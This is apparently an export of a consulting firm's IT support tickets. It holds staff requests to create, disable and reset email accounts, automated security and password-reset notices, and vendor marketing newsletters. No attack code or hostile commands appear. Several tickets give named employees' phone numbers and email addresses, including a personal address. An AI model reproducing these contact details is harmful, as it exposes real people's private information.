TICKET DISPLAY ID : 51

SUBJECT : Like Minds email id request for Khalid and Asker

PROBLEM DESCRIPTION : Support Please create Like Minds email id for the following engineers:

1) Muhammad Khalid 2) Adib Asker Please send the instructions to their personal email address

Regards [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered?

Ramnath Krishnamurthi Founder & C.E.O - New Jersey - Amsterdam - Chennai - Singapore

\*Vacation Dates:\* Dec 23rd - Dec 31st CONFIDENTIALITY NOTICE: The contents of this email

message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are

not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and

any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 52

SUBJECT : [Webinar Invitation] How to create a data-driven approach to your support

PROBLEM DESCRIPTION : Hi there, We want to remind you about our upcoming webinar. We've invited Mary Poppen, Chief Customer Officer at Glint Inc. (Acquired by LinkedIn) who will share her thoughts at the webinar on how to track trends in customer support, spot bottlenecks and take

proactive measures to up your support game. Here are the details: Date: Thursday, Aug 29, 2019

Time: 11.00 am, PST Registration link:

[http://fmtrack1.freshdesk.com/wf/click?upn=mA0eVPg2Frisk89IOMGh8kDJAXC2WJ33a4GIRPAnm8CB2odMxL-2BPuDnlmEinMxoChUxDj6-2F5j9J7-2F7n4IRfNlxHk8M86d3C-2B9UIJYF4ZXwGUJwG OUPDoRVsC8ayLdIE4\\_r3XecG9Oeir8G6iSrKDq5ObHRE3Y-2F0lILr4kWYqIYGWCrOFDVIFIOXS-2B3mz08mGWBOx17akDe06-2BTXIfO8K-2F5tS6tXHKxhrFb2MbBXPnmq123ZfAFr4UexEy-2FJVdu dHy7Q-2FFa8DCM2yN1mobmslig7kEVNg4bsCz56p8iAENalrkY66XupcsU2Tf1dwkXR4eMwFEgKp N6V1SJlkDZdVw6uFSWVUGuyG9V-2Bh0L9xFu-2Fj-2B1OgdgbJBgUnxgOaau3zY3SS-2BKjjWc9O KVMmCsltJLxZZs2dlckmhNgECMuNz6JJ76Yihmm3pC10Th5VHFuJXwXNWLNBmIpcAuOS-2BMF HyUfcc0WNg5Fiw-2Bhpjtdkhy76BE85zBM-2B86xBehY3NaoZT8AOIXYairuRkpqqcxi7aXBhYjfcuH1 5oonp24jno5YSCciUpOF3XWlpZYiHgjmg9G5b50dR933zzdMO9DUklUiPy-2Bzyygsv4Xf23lqisNsPG 087ecl-2B66juhTHND0x9ePc994klIIGNdPrVi4sswUXPLCBF2sYK5CRQgJ5hZrBcM8HC8tNAtLBqv u8T53ea65Jgfz4A-2FyUIMAz0-2BQKAuuKu1UzmjVNKTUxReUbS-2FSfoEykerXRWJqLiLQ61qG7k LyMrQMU5NE-2FRJkRCiQeTivLkJIRt2zYTsWjE2C5Nzrsnsjtb0X-2FuueyxJgr8aXVkgR5aSrJ1nBbDd XPH0xNcVbtn1uG1uF8LV1Wlqh8p5iR0PgFvdO6N2AwAdAAaE4zkkFcejAERe2z3vA7PRYXTRtd H25cevlQaCzak0wJV3ftfkWdoa56mB0g-2BxBV5HVdXY](http://fmtrack1.freshdesk.com/wf/click?upn=mA0eVPg2Frisk89IOMGh8kDJAXC2WJ33a4GIRPAnm8CB2odMxL-2BPuDnlmEinMxoChUxDj6-2F5j9J7-2F7n4IRfNlxHk8M86d3C-2B9UIJYF4ZXwGUJwG OUPDoRVsC8ayLdIE4_r3XecG9Oeir8G6iSrKDq5ObHRE3Y-2F0lILr4kWYqIYGWCrOFDVIFIOXS-2B3mz08mGWBOx17akDe06-2BTXIfO8K-2F5tS6tXHKxhrFb2MbBXPnmq123ZfAFr4UexEy-2FJVdu dHy7Q-2FFa8DCM2yN1mobmslig7kEVNg4bsCz56p8iAENalrkY66XupcsU2Tf1dwkXR4eMwFEgKp N6V1SJlkDZdVw6uFSWVUGuyG9V-2Bh0L9xFu-2Fj-2B1OgdgbJBgUnxgOaau3zY3SS-2BKjjWc9O KVMmCsltJLxZZs2dlckmhNgECMuNz6JJ76Yihmm3pC10Th5VHFuJXwXNWLNBmIpcAuOS-2BMF HyUfcc0WNg5Fiw-2Bhpjtdkhy76BE85zBM-2B86xBehY3NaoZT8AOIXYairuRkpqqcxi7aXBhYjfcuH1 5oonp24jno5YSCciUpOF3XWlpZYiHgjmg9G5b50dR933zzdMO9DUklUiPy-2Bzyygsv4Xf23lqisNsPG 087ecl-2B66juhTHND0x9ePc994klIIGNdPrVi4sswUXPLCBF2sYK5CRQgJ5hZrBcM8HC8tNAtLBqv u8T53ea65Jgfz4A-2FyUIMAz0-2BQKAuuKu1UzmjVNKTUxReUbS-2FSfoEykerXRWJqLiLQ61qG7k LyMrQMU5NE-2FRJkRCiQeTivLkJIRt2zYTsWjE2C5Nzrsnsjtb0X-2FuueyxJgr8aXVkgR5aSrJ1nBbDd XPH0xNcVbtn1uG1uF8LV1Wlqh8p5iR0PgFvdO6N2AwAdAAaE4zkkFcejAERe2z3vA7PRYXTRtd H25cevlQaCzak0wJV3ftfkWdoa56mB0g-2BxBV5HVdXY) If you have any thoughts on what you'd

like to learn from the webinar, just hit reply to let us know. P.S. If you can't make it to the webinar, register and we'll send you a recording. Bonus: We will also send you a benchmark report that has everything you need to scale your customer support strategy. See you at the webinar! Team Freshdesk Message sent by Freshworks Inc. at 2950 S. Delaware Street, Suite 201, San Mateo, CA, United States of America. Unsubscribe from all emails Powered by Freshmarketer

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 54

SUBJECT : create email for Miklos Sarkozi

PROBLEM DESCRIPTION : Hi, Please create email for Miklos Sarkozi and send him information to

access his email msarkozi@aol.com Once created please send me his email address as well. --  
[image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered? Regards,  
Rupal Shah HR Manager USA Tel No: +1 732-619-5526 - New Jersey - Amsterdam - Chennai - Singapore  
CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 55

SUBJECT : [GitHub] A new public key was added to your account

PROBLEM DESCRIPTION : The following SSH key was added to your account: Donald  
8f:e2:66:04:74:69:ca:71:db:2a:f7:16:ad:6b:52:2f If you believe this key was added in error, you can  
remove the key and disable access at the following location: <https://github.com/settings/keys>

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 56

SUBJECT : Webinar: Do Identity Right - So Your Digital Business Strategy Succeeds

PROBLEM DESCRIPTION : About the Webinar  
<<https://go.auth0.com/G7X0Wk20SOtQV0Zq0100UgM>> Registration and authentication are the first  
things that happen when someone becomes a user of digital business services. If these steps don't  
work as the user wants, the acceptance of such services will suffer and the success of digital  
business strategies is at risk. But what if you could deliver identity in a unified way across all your

various apps and services? Join Martin Kuppinger, Founder and Principal Analyst at KuppingerCole, where he will discuss: - How Identity is evolving from a point solution to a strategic platform for all applications - Why Identity API Platforms are the best choice for delivering a unified approach to identity - Recommended guidance for developing an identity management action plan to help you reach your digital business goals When: Tuesday, September 24, 2019 (September 25th for Sydney) Option 1 - 9am (New York) / 2pm (London) / 3pm (Frankfurt) <<https://go.auth0.com/G7X0Wk20SOtQV0Zq0100UgM>> Option 2 - 4pm (Seattle) / 9am (Sydney) <<https://go.auth0.com/O0k0UtMW0210gVqR0P0Z7SX>> Hope to see you at the webinar, The Auth0 Team Blog <<https://go.auth0.com/F7SXq00SQ0V1U2kM000WZgt>> Auth0 Community <<https://go.auth0.com/UMRU0tW0qX0VZk027g010TS>> Contact Us <<https://go.auth0.com/Mg0W1M0SVkt7Z00Sq0UX0U2>> <<https://go.auth0.com/HV0020M0gUNSkWt1q7X00PZ>> This email was sent to support@likemindsconsulting.com. Don't want to receive emails from us? Unsubscribe <[[

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 57

SUBJECT : Your meeting attendees are waiting!

PROBLEM DESCRIPTION : Hi there, Please click this URL to start your RingCentral meeting: Like Minds Technical Support's RingCentral Meeting, <https://meetings.ringcentral.com/j/1497621096> as your participant ButchiP is waiting.

SOLUTION CONVERSATION :



TICKET DISPLAY ID : 58

SUBJECT : ? Blaze a trail to your dream career with me.?

PROBLEM DESCRIPTION : Sweet satsuma September content release With juicy new content including Winter '20 highlights and Summer '19 certification maintenance. SWEET NEW BADGES

<http://click.mail.salesforce.com/?qs=4d2df87aca90c4801ccf2196aa7ceaad57135597c1b5adc54829ae82a54a785123bf03e7078f3ab06b43b4c1a1b7cb666731830ada082edf> Fight the tide of huge

student loan debt Education is missing the mark on prepping students for real-world careers. From the huge cost to insufficient curriculum, it?s time for change. LEARN FOR FREE

<http://click.mail.salesforce.com/?qs=4d2df87aca90c48078131f3a312addb36573d5fef28ceeac7a245453e93893e890cbc80d949c075117f99c2de53bab9770015b66583cfddd> Bringing college credit to

Trailhead Southern New Hampshire University now awards college credit for earning Trailhead badges-a huge step forward for creating more equitable career paths. CREDIT FOR BADGES

<http://click.mail.salesforce.com/?qs=4d2df87aca90c480fcaa64f513a21e8eb7b17bc782e458dd25983479ea05590ddb97a19cbf2e97c333ab15a3700d8cee01d8109d3aff2f8e> Learn and earn for your

chance to win this month Paw-some Trailhead quests for you this month include Rock Trailhead with Appy, #BeMOAR Impactful Leadership, #BeSuper Superbadges, September Lean and Earn, and #RoadToRanger.

QUEST

ON

<http://click.mail.salesforce.com/?qs=4d2df87aca90c480c61976d4e18ede421546ef85621fc4fc40aa8b7e8665fb1f54ddfbdb8199ea0313286addb5c70d692f61843755e23f195> Become an

#AwesomeAdmin #CertifiedPro Flashcards, practice exam questions, downloadable study materials... studying for your Admin cert exam is now an interactive affair. CERTIFY ME

<http://click.mail.salesforce.com/?qs=4d2df87aca90c480c42654d10c249ee4ec2398dfec9ab204867701bc0be725dfdb070116e725e5e5efa14b66b1d33d41c5673edba34e3fe1> Be a SUPER Salesforce

Developer Measure your coding prowess! Earn the Apex Specialist and Process Automation Specialist superbadges to prove you have in-demand dev skills. READY. SET. DEV

<http://click.mail.salesforce.com/?qs=4d2df87aca90c4806a9c982e14241dce93d2e4a2145cce0bbd90>

4dfc91addf790e10a7923fd76e5ca046fe3ed43f810f1853bf3bf38aad14 Become the Architect of your dreams The elephant is in the room and she?s a total boss. Meet Ruth the Architect, here to inspire you to start your Salesforce Architect Journey. SAY HI TO RUTH  
<http://click.mail.salesforce.com/?qs=4d2df87aca90c48022bd6948992a1455ec23d98f16c2a478669eab93b891e7aad5413ef9ab8a7710db234f2de9501c862f02d7093fa46704> Trailblazer Community Impact Study: The results are in! 90% said the Trailblazer Community helps them innovate with new apps and solutions. 73% says it helps build their professional network. GET THE STATS  
<http://click.mail.salesforce.com/?qs=4d2df87aca90c48096d1c6bcfd223657fb8d9165cfaf3bbadbfb4023482e6e614bd2d779f4b1a2ce05cbfa7872ad1847c7e48d4545a2384dc> MOAR Trailhead Blogs  
<http://click.mail.salesforce.com/?qs=80dcd5608759ee82f42b133acba2f8d4d2be5361347ecdde95c018e6718a70feb7045b5777e308b552a3bbcf5f85f29e9606855030df2be4> Unlock New Opportunities With Dreamforce Bootcamps and 50% Off Cert Exams  
<http://click.mail.salesforce.com/?qs=80dcd5608759ee82fb9fcd9d14f6377e04067adea952dca8bc7f313ebf22693705546c16f38fb2dfe37177502eae7bc78110f9b92525f1d> How to communicate like a Boss  
<http://click.mail.salesforce.com/?qs=80dcd5608759ee827731d28366c4385327b44204e271eeb6f45251cd9fd31a0507d4ad1f93680b6885bc29b2a521dfa3263e960d8439c4b4> Why You Should Be Comfortable Being Uncomfortable and Lean into Change  
<http://click.mail.salesforce.com/?qs=80dcd5608759ee82f8430fc9d46364f6e3e8ab21e3418ad874b5b7ed3fc8ca94cab949475fe2cb909ba71b59dc3f38fe1e5cf87a30d127dd> Want to Change a Behavior? Embrace New Habits and Go All-In (Ice Cream also Helps!)  
<http://click.mail.salesforce.com/?qs=80dcd5608759ee8298a9f7dc17ba2899c3e90898f1034e9987dd122ad9b2caa0bedd218c103e874ede6c2b31b4d1470e18d463d7c0f077b9> What did you think of this month?s Trailhead newsletter? Loved it!  
<http://click.mail.salesforce.com/?qs=8ff7fb90aa59f97f1f9c0b8ca2e7174621f59509836c0c8b621cebd6683587a074cf941df04e9166717e1ebc5ab38c90867a19d31fe7c26e> Could do better...

<http://click.mail.salesforce.com/?qs=20cff47e1ebef6d54feade59609a32748b7358b955c5d8e53b5472ac3a18a02bd89b23a976eabd9e29bf983d85b6878c72114c310c978c6a> \*Official rules apply. See the Trailhead Quests page for full details.

<http://click.mail.salesforce.com/?qs=240be9ad14f9d89088436c1b2e035bc43752c4c2810d79fdf2feb4be32858418465b84d578e254f813f8431f36a4dab12b288e24cac9170> (C) 2019 salesforce.com, inc. All rights reserved. Various trademarks held by their respective owners.

<http://click.mail.salesforce.com/?qs=5d521f0ea773d3a5411ada353fb6ecebc6926d46bdd13bc856274fb2f4e5a451250a96eff17e0d1013a33e7967acb4cc392304a964a849c5> Salesforce.com, inc. Salesforce Tower, 415 Mission Street, 3rd Floor, San Francisco, CA, 94105

<http://click.mail.salesforce.com/?qs=5d521f0ea773d3a5411ada353fb6ecebc6926d46bdd13bc856274fb2f4e5a451250a96eff17e0d1013a33e7967acb4cc392304a964a849c5> General Enquiries: 415-901-7000 | Fax: 415-901-7040 | Sales: 1-800-NO-SOFTWARE This email was sent to [support@likemindsconsulting.com](mailto:support@likemindsconsulting.com) View in Browser

<http://view.mail.salesforce.com/?qs=4663163231f76efe243ce5bb4d9b7e2f2b10f5248b596cc54be640f1c264a08f8d1e111defa0900175b1ded09c5bdc7730b441ab7305089476dd432178bb11e133fdf05303fb2fdf81d6d75b47b17de1> Privacy Statement

<http://click.mail.salesforce.com/?qs=b082c5bce00c111dc09a8aae5a42fe13418e804b5940b56c733dd4352a8a9c795ed7f77e464bf2ae6866085cbdf1ec0e5a75dc9bd360cb69> Unsubscribe

[http://click.mail.salesforce.com/unsub\\_center.aspx?qs=d8196e4e3eb2678ddac1fd065c5505a91e04e17fe420cf581e3237bd4273a6b860ed69c1f1d778b500536301e110100f9bab0b6aab1eaa8f205fd0130f2a6abe332e9beb0b03bafc](http://click.mail.salesforce.com/unsub_center.aspx?qs=d8196e4e3eb2678ddac1fd065c5505a91e04e17fe420cf581e3237bd4273a6b860ed69c1f1d778b500536301e110100f9bab0b6aab1eaa8f205fd0130f2a6abe332e9beb0b03bafc)

<http://click.mail.salesforce.com/?qs=41fe19778ec0e2183332529d52ed1db036dae4598a4bf589cf86d58b41a7ba757ebd318c67ac0aa8ab65c43d13a0f32d9983dc09efcfc9cf>

<http://click.mail.salesforce.com/?qs=8333a382f2993b013e52a81979f81db6f6be26b7d86c92dd17909bee584ffb71ef1ee68ac625a0cae7ff96ce8a350161f85ca6b866dd84d0>

<http://click.mail.salesforce.com/?qs=3f7b70e9aa3535f637e9287282d92a230a8abc5516aa3392621b>

c38b5b0b350ea878de415174c164cf317b43f2ef4216641241a6c9a84ca8

http://click.mail.salesforce.com/?qs=348bebe8aa584ca88f1a33c6ce0a465ccbd324b7955599d52213  
4d4c143fef10e4ed86bdb85205ebae6ab88106e04769cf48c68747466a08

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 59

SUBJECT : reset password

PROBLEM DESCRIPTION : Hi, Please reset Sunil Kolluru password and send him the details, cced in this email -- [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered? Regards, Rupal Shah HR Manager USA Tel No: +1 732-619-5526 - New Jersey - Amsterdam - Chennai - Singapore CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 60

SUBJECT : Security alert

PROBLEM DESCRIPTION : New device signed in to support@likemindsconsulting.com Your Google Account was just signed in to from a new Windows device. You're getting this email to make sure it was you. Check activity  
<<https://accounts.google.com/AccountChooser?Email=support@likemindsconsulting.com&continue=https://myaccount.google.com/alert/nt/1568339164000?rfn%3D31%26rfnc%3D1%26eid%3D-5355>

02659737417780%26et%3D0%26anexp%3Dgivab-fa--mdv2-fa--hsc-control\_b--ivab-fa> You  
received this email to let you know about important changes to your Google Account and services.  
© 2019 Google LLC, 1600 Amphitheatre Parkway, Mountain View, CA 94043, USA

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 61

SUBJECT : Your Google Account password for Like Minds Consulting Inc has been reset by your administrator

PROBLEM DESCRIPTION : Google Cloud Your Google Account password has been reset Hello Sindhuja , Your administrator has reset your Google Account password for Like Minds Consulting Inc. Click Reset password below to set a new password. To keep your account secure, follow these password guidelines. Reset password For your security, the reset password link expires after 48 hours. After that, please contact your administrator for your password. Regards, The Google Cloud Team Google Cloud © 2019 Google LLC 1600 Amphitheatre Parkway, Mountain View, CA 94043 You're receiving this mandatory email service announcement to update you about important changes to your Google Cloud product or account.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 62

SUBJECT : Don?t miss this webinar on digital identity by KuppingerCole

PROBLEM DESCRIPTION : About the Webinar  
<<https://go.auth0.com/UMCU0tW0qX0VZm027g010CS>> Time is running out to sign up for this webinar where you can hear from Martin Kuppinger, Founder and Principal Analyst at KuppingerCole, where he will discuss: - How Identity is evolving from a point solution to a strategic platform for all applications - Why Identity API Platforms are the best choice for delivering a unified approach to identity; and - Recommended guidance for developing an identity management action

plan to help you reach your digital business goals When: Tuesday, September 24, 2019 (September 25th for Sydney) Option 1 - 9am (New York) / 2pm (London) / 3pm (Frankfurt) <<https://go.auth0.com/UMCU0tW0qX0VZm027g010CS>> Option 2 - 4pm (Seattle) / 9am (Sydney) <<https://go.auth0.com/iDmV0gX7UDq00Z010SM2W0t>> Hope to see you at the webinar, The Auth0 Team Blog <<https://go.auth0.com/hqU7EtX00V000MZmg120WES>> Auth0 Community <<https://go.auth0.com/q7WV0Z1SqF0gtm02X0UF00M>> Contact Us <<https://go.auth0.com/Mg0W1M0SVmt7Z00Gq0UX0G2>>

<<https://go.auth0.com/O0m0UtMW0210gVqB0B0Z7SX>> This email was sent to support@likemindsconsulting.com. Don't want to receive emails from us? Unsubscribe <[[

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 63

SUBJECT : Reset your Freshworks password

PROBLEM DESCRIPTION : Hi Mahesh, We have received your request to reset your password. Simply click on the link below to set a new password Reset your password If you didn't intend to reset your password for support@likemindsconsulting.com, you can safely ignore this message. If you're having problems, please feel free to write to us at support@freshworks.com. We'll be glad to help. Have a refreshing day, Freshworks

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 64

SUBJECT : EKT

PROBLEM DESCRIPTION : EKT -- Regards, Accounting, Like Minds Software India Private Limited  
143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India  
www.likemindsconsulting.com "innovation engineered" CONFIDENTIALITY NOTICE: The contents  
of this email message and any attachments are intended solely for the addressee(s) and may  
contain confidential and/or privileged information and may be legally protected from disclosure. If  
you are not the intended recipient of this message or their agent, or if this message has been  
addressed to you in error, please immediately alert the sender by reply email and then delete this  
message and any attachments. If you are not the intended recipient, you are hereby notified that  
any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION : Hi Accounts LMS, Hi, good afternoon

TICKET DISPLAY ID : 65

SUBJECT : disable

PROBLEM DESCRIPTION : Hi, Please disable Jebastin and Miklo's email, they are no longer with  
LMC. -- [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered?  
Regards, Rupal Shah HR Manager USA Tel No: +1 732-619-5526 - New Jersey - Amsterdam -  
Chennai - Singapore CONFIDENTIALITY NOTICE: The contents of this email message and any  
attachments are intended solely for the addressee(s) and may contain confidential and/or privileged  
information and may be legally protected from disclosure. If you are not the intended recipient of this  
message or their agent, or if this message has been addressed to you in error, please immediately  
alert the sender by reply email and then delete this message and any attachments. If you are not the  
intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this  
message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 66

SUBJECT : Discover what's new for Admins & Developers with Winter '20

PROBLEM DESCRIPTION : Hi Support, Ready for the Winter '20 Release? Join us for a learning journey featuring blog posts, new Trailhead Trailmixes, and events for Admins and Developers! Get Started!

<http://click.mail.salesforce.com/?qs=385962cb50d7dc3c5a81af3bbcd11a4bef18ed9c7ebf22d23b043554d8d183d91d3577119530cd151a08190a6356061351b74b026703c469> READ MOAR Now through September 26, 2019, we're posting regularly about our favorite Winter '20 Release features on both the Salesforce Admin <http://click.mail.salesforce.com/?qs=06f8d3a4b43f945a4d87dbdc887d433a0f2a2744604842b0502bf70a5ff6e35cc8c78f0b0c3f1a7721da4d624e17719b116cbd08ad20c5c6> and Salesforce Developer blogs.

<http://click.mail.salesforce.com/?qs=151981efd7a6bae39100e5bdcea618cd7e2fffddef5357d54687965763c25fa7b0890f3240e914b4548c08687bcd4836f78b226973c7bcb> DO MOAR Follow the Learn MOAR Trailhead Trailmixes for Admins or Developers (or both!).

<http://click.mail.salesforce.com/?qs=385962cb50d7dc3c5a81af3bbcd11a4bef18ed9c7ebf22d23b043554d8d183d91d3577119530cd151a08190a6356061351b74b026703c469> Complete the trailmix(es) by October 31, 2019 to earn a special community badge and unlock a \$10 donation to FIRST (R), a non-profit robotics community that prepares young people for the future.

<http://click.mail.salesforce.com/?qs=c065c363bff86fdb1d1862ecd8aa49be7d3621a7fb5a3df6c720e8739a2b20d46c108ccfa55ecfb79d170df4688a30bd49208cd01c0b7d87> CONNECT MOAR Find your local Trailblazer Community Group and attend a meeting near you. Learn, network, and share your experience with us using the hashtag #LearnMOAR.

<http://click.mail.salesforce.com/?qs=7046cc915518d8212da37e9c2b692e1eb9a359c62e8830098e64b4ea668c0cee5ad3b6d654d2ba68cdafc322c9d0a6f8086306fb174c516f> (C) 2019 Salesforce.com, inc. All rights reserved.



<http://click.mail.salesforce.com/?qs=615665eaf1bed66630625ef436fca32bf2834be8dc417f5bccf26b90b8b609ff832757d39855baa6224067e63216f546c78d49f1b82ef6d3> Salesforce Tower, 415 Mission Street, 3rd Floor, San Francisco, CA, 94105, United States General Enquiries: 415-901-7000 | Fax: 415-901-7040 | Sales: 1-800-NO-SOFTWARE This email was sent to [support@likemindsconsulting.com](mailto:support@likemindsconsulting.com) [View](#) in [Browser](#)

<http://view.mail.salesforce.com/?qs=2ffb2277968debbfa99aff009134fccda18d7104a32eeaecaa321c64ac19d4f19f5e58763fca53ab1a9558ec38a9bef4cc072ecd74de79dc26e48b4bd6798a6f661fcbd62abbbdf7c542a22ae5377c09> [Manage](#) [Preferences](#) to [Unsubscribe](#)


[http://click.mail.salesforce.com/unsub\\_center.aspx?qs=d8196e4e3eb2678d310cc66f80be91158696549fb72b83947898f205d6322561a07687765653afa63ca1b39c21347a0be3b2b4f34815832a16241917512be9adadea2108b7b336e9](http://click.mail.salesforce.com/unsub_center.aspx?qs=d8196e4e3eb2678d310cc66f80be91158696549fb72b83947898f205d6322561a07687765653afa63ca1b39c21347a0be3b2b4f34815832a16241917512be9adadea2108b7b336e9) [Privacy](#) [Statement](#)

<http://click.mail.salesforce.com/?qs=ef7077fcfd4c59ea1462b0a9d32fca6a9cddb2304e4bf899877d000b42dbfe21a008c98430b6a20227c98af6e66c1d5d656a83051372e475>

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 67

SUBJECT : Re: Bidhan's email

PROBLEM DESCRIPTION : Reza You can send email to [support@likemindsconsulting.com](mailto:support@likemindsconsulting.com) to activate his email account again. Regards 

<<http://likemindsconsulting.com/>> ?innovation engineered? Ramnath Krishnamurthi Founder & C.E.O - New Jersey - Amsterdam - Chennai - Singapore \*Vacation Dates:\* Dec 23rd - Dec 31st

CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the

intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited. On Thu, Sep 26, 2019 at 11:52 AM Reza Hussain <reza@likemindsconsulting.com> wrote: > > Bidhan texted me saying his likeminds email account is deactivated. > I don't think it is maybe it needs a password reset. > > > He is asking if I can activate it. > > > Let me know what you think. > Not sure why he needs it though. > > > Thanks > > > > [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> > > ?innovation engineered? > > \*Reza Hussain\* > > \*IDM Project Manager\* > > \*USA Tel No: +1 -682-803-5614\* > > > - > > New Jersey > > > - > > Amsterdam > > > - > > Chennai > > > - > > Singapore > > > > > CONFIDENTIALITY NOTICE: The contents of this email message and any > attachments are intended solely for the addressee(s) and may contain > confidential and/or privileged information and may be legally protected > from disclosure. If you are not the intended recipient of this message or > their agent, or if this message has been addressed to you in error, please > immediately alert the sender by reply email and then delete this message > and any attachments. If you are not the intended recipient, you are hereby > notified that any use, dissemination, copying, or storage of this message > or its attachments is strictly prohibited. > > >

SOLUTION            CONVERSATION            :            Thanks!            [image:            LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered? \*Reza Hussain\* \*IDM Project Manager\* \*USA Tel No: +1 -682-803-5614\* - New Jersey - Amsterdam - Chennai - Singapore CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited. On Thu, Sep 26, 2019 at 10:53 AM Ramnath Krishnamurthi <ramnath@likemindsconsulting.com> wrote: > Reza > You can send email to

support@likemindsconsulting.com to activate his > email account again. > > Regards > > [image:  
LikeMindsLogo.png] <<http://likemindsconsulting.com/>> > > ?innovation engineered? > > Ramnath  
Krishnamurthi > > Founder & C.E.O > > > > - > > New Jersey > > - > > Amsterdam > > > - > >  
Chennai > > > - > > Singapore > > > > \*Vacation Dates:\* > > Dec 23rd - Dec 31st > >  
CONFIDENTIALITY NOTICE: The contents of this email message and any > attachments are  
intended solely for the addressee(s) and may contain > confidential and/or privileged information  
and may be legally protected > from disclosure. If you are not the intended recipient of this message  
or > their agent, or if this message has been addressed to you in error, please > immediately alert  
the sender by reply email and then delete this message > and any attachments. If you are not the  
intended recipient, you are hereby > notified that any use, dissemination, copying, or storage of this  
message > or its attachments is strictly prohibited. > > > > On Thu, Sep 26, 2019 at 11:52 AM Reza  
Hussain <> reza@likemindsconsulting.com> wrote: > > > > Bidhan texted me saying his likeminds  
email account is deactivated. > > I don't think it is maybe it needs a password reset. > > > > He is  
asking if I can activate it. > > > > Let me know what you think. > > Not sure why he needs it  
though. > > > > Thanks > > > > [image: LikeMindsLogo.png]  
<<http://likemindsconsulting.com/>> > > ?innovation engineered? > > \*Reza Hussain\* > > >  
\*IDM Project Manager\* > > > \*USA Tel No: +1 -682-803-5614\* > > > > - > > > > New Jersey > > >  
> > - > > > > Amsterdam > > > > - > > > > Chennai > > > > - > > > > Singapore > > > > > >  
CONFIDENTIALITY NOTICE: The contents of this email message and any >> attachments are  
intended solely for the addressee(s) and may contain >> confidential and/or privileged information  
and may be legally protected >> from disclosure. If you are not the intended recipient of this  
message or >> their agent, or if this message has been addressed to you in error, please >>  
immediately alert the sender by reply email and then delete this message >> and any attachments.  
If you are not the intended recipient, you are hereby >> notified that any use, dissemination,  
copying, or storage of this message >> or its attachments is strictly prohibited. >> >> >>

TICKET DISPLAY ID : 68

SUBJECT : [ Account reactivation/password reset - Bidhan Thappa ] - Likeminds

PROBLEM DESCRIPTION : Support, Please reset Bidhan's password ( I have included his personal email address -gmail in this this email to you). He believes his account is inactive but I do see it active in Hangouts. Thanks [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered? \*Reza Hussain\* \*IDM Project Manager\* \*USA Tel No: +1 -682-803-5614\* - New Jersey - Amsterdam - Chennai - Singapore

CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION : Any update on this? On Thu, Sep 26, 2019 at 12:02 PM Reza Hussain <[reza@likemindsconsulting.com](mailto:reza@likemindsconsulting.com)> wrote: > > Support, > > Please reset Bidhan's password ( I have included his personal email > address -gmail in this this email to you). > He believes his account is inactive but I do see it active in Hangouts. > > Thanks > > > > > [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> > > ?innovation engineered? > > \*Reza Hussain\* > > \*IDM Project Manager\* > > \*USA Tel No: +1 -682-803-5614\* > > > - > > New Jersey > > > - > > Amsterdam > > > - > > Chennai > > > - > > Singapore > > > > > CONFIDENTIALITY NOTICE: The contents of this email message and any > attachments are intended solely for the addressee(s) and may contain > confidential and/or privileged information and may be legally protected > from disclosure. If you are not the intended recipient of this message or > their agent, or if this message has been addressed 